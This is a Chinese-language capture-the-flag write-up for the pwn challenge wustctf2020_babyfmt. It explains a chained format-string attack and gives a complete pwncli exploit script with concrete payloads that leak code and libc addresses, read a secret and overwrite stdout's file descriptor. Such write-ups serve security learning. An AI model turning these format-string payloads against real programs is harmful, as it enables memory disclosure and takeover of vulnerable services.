wustctf2020_babyfmt

注意
本文最后更新于 2021-07-18,文中内容可能已过时。

解题思路

题目还挺有趣的,点在于需要循环进行fmt_attack。栈上某个地址存储着fmt_attack_flag,当其不为0的时候,会直接执行exit退出。因此,需要尝试寻找一个地址,该地址存储着fmt_attack_flag的地址。因此,解题思路为:

  • 修改fmt_attack_flag0的时候,同时泄露出栈上存储的代码段基地址和libc基地址
  • 利用栈上的格式化字符串泄露出secret
  • 利用栈上的格式化字符串修改stdoutfileno2
  • 然后执行get_flag输入secret即可得到flag

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/python3
from pwncli import *
cli_script()

if gift['debug']:
    libc = gift['libc']
elif gift['remote']:
    libc = ELF('/root/LibcSearcher/libc-database/other_libc_so/libc-2.23.so')


# offset = 8
def fmt_attack(p:tube, fmt_str):
    p.sendlineafter(">>", "2")
    p.send(fmt_str)


def get_flag(p:tube, secret):
    p.sendlineafter(">>", "3")
    p.sendafter("If you can open the door!\n", secret)


def attack(p:tube):
    p.recvuntil("tell me the time:")
    for _ in range(3):
        p.sendline(str(0xdeadbeef))
    payload = "%7$hhn%17$p,%23$p\n"
    fmt_attack(p, payload)
    leak_msg = p.recvline()
    code_addr, libc_addr = leak_msg.strip().split(b',')
    code_addr = int16(code_addr.decode())
    libc_addr = int16(libc_addr.decode())
    log_address("code_addr", code_addr)
    log_address("libc_addr", libc_addr)

    code_base_addr = code_addr - 118 - 0xfb6
    libc_base_addr = libc_addr - libc.sym['__libc_start_main'] - 240
    log_address("code_base_addr", code_base_addr)
    log_address("libc_base_addr", libc_base_addr)

    # stdout_addr = libc.sym['_IO_2_1_stdout_']
    secret_addr = code_base_addr + 0x202060
    stdout_flag_addr = libc_base_addr + libc.sym['_IO_2_1_stdout_'] + 112

    # payload = b"%2c%10$hhn%11$sa" + p64(stdout_flag_addr)+ p64(secret_addr)
    payload = flat(["%7$hhn%d,%10$saa", secret_addr, "\n"])
    fmt_attack(p, payload)
    leak_msg = p.recvline()
    secret_msg = leak_msg[leak_msg.find(b',')+1:-1]

    if len(secret_msg) < 0x40:
        p.close()
        sys.exit()
    secret_msg = secret_msg[:0x40]
    info("secret msg: {}".format(secret_msg))
    # stop()

    payload = flat(["aa%9$hhn", stdout_flag_addr])
    fmt_attack(p, payload)
    get_flag(p, secret_msg)
    p.interactive()

attack(gift['io'])

泄露地址:

image-20210718230406841

泄露secret

image-20210718232714576

修改stdout.flieno

image-20210718232946103

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%